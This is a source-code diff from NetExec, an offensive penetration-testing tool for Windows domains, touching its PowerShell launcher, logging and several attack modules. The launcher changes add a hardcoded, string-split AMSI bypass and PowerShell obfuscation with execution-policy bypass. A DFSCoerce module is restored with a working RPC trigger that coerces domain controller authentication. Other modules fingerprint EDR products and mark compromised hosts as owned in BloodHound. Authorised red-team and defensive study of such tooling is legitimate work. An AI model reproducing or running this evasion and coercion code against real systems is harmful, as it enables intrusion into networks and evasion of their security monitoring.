Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -122,66 +108,91 @@ def obfs_ps_script(path_to_script):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = ""
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
obfs_attempts = 0
while True:
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -309,7 +320,6 @@ def invoke_obfuscation(script_string):
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
@@ -426,7 +436,5 @@ def invoke_obfuscation(script_string):
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
return choice(invoke_options)
+13 -21
View File
@@ -5,7 +5,6 @@ import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
@@ -22,11 +21,10 @@ def parse_debug_args():
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
@@ -36,7 +34,7 @@ def setup_debug_logging():
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
@@ -48,17 +46,13 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs):
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
@@ -75,7 +69,7 @@ def no_debug(func):
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
@@ -98,11 +92,9 @@ class NXCAdapter(logging.LoggerAdapter):
self.extra = extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
@@ -167,16 +159,15 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@@ -184,7 +175,7 @@ class NXCAdapter(logging.LoggerAdapter):
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
with file_handler._open() as f:
if file_creation:
@@ -198,15 +189,16 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
return os.path.join(
NXC_PATH,
os.path.expanduser("~/.nxc"),
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
+1 -1
View File
@@ -27,6 +27,7 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
@@ -38,7 +39,6 @@ class NXCModule:
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
+12 -11
View File
@@ -1,8 +1,7 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import sys
class NXCModule:
"""
@@ -62,10 +61,11 @@ class NXCModule:
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
@@ -101,11 +101,15 @@ class NXCModule:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -114,13 +118,10 @@ class NXCModule:
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
+87
View File
@@ -0,0 +1,87 @@
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
try:
with session.begin_transaction() as tx:
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
except ServiceUnavailable as e:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
context.log.debug(f"Error {e}: ")
driver.close()
sys.exit()
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
driver.close()
-131
View File
@@ -1,131 +0,0 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
File diff suppressed because it is too large. Load diff
+2 -1
View File
@@ -221,6 +221,8 @@ class NXCModule:
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
@@ -271,7 +273,6 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
+124 -2
View File
@@ -1,6 +1,15 @@
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
class NXCModule:
name = "dfscoerce"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -17,4 +26,117 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
+6 -39
View File
@@ -5,7 +5,6 @@
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -51,8 +50,7 @@ class NXCModule:
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
kdcHost=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
@@ -122,7 +120,6 @@ class LsaLookupNames:
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -137,8 +134,7 @@ class LsaLookupNames:
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
self.dcHost = kdcHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -151,7 +147,6 @@ class LsaLookupNames:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -163,13 +158,14 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
# Connect
dce.connect()
@@ -247,14 +243,6 @@ conf = {
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "Cybereason",
"services": [
@@ -358,27 +346,6 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
{"name": "mfemactl", "description": "Trellix Management Service"},
{"name": "mfemms", "description": "McAfee Management Service"},
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"services": [
+3 -6
View File
@@ -3,7 +3,6 @@ from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
@@ -66,10 +65,10 @@ class NXCModule:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
pass
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
entries = self.__fetchList(rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -99,10 +98,8 @@ class NXCModule:
context.log.debug(e)
return
def __fetchList(self, doKerberos, rpctransport):
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+3 -3
View File
@@ -12,9 +12,9 @@ class NXCModule:
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self):
self.context = None
self.module_options = None
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""Required.
+1 -1
View File
@@ -7,7 +7,7 @@ import re
import sys
from nxc.helpers.bloodhound import add_user_bh
from pypykatz.pypykatz import pypykatz
import pypykatz
class NXCModule:
+8 -4
View File
@@ -70,7 +70,11 @@ def create_db(local_admins, dbconnection, cursor):
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -81,7 +85,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{domain.upper()}"
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -95,7 +99,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
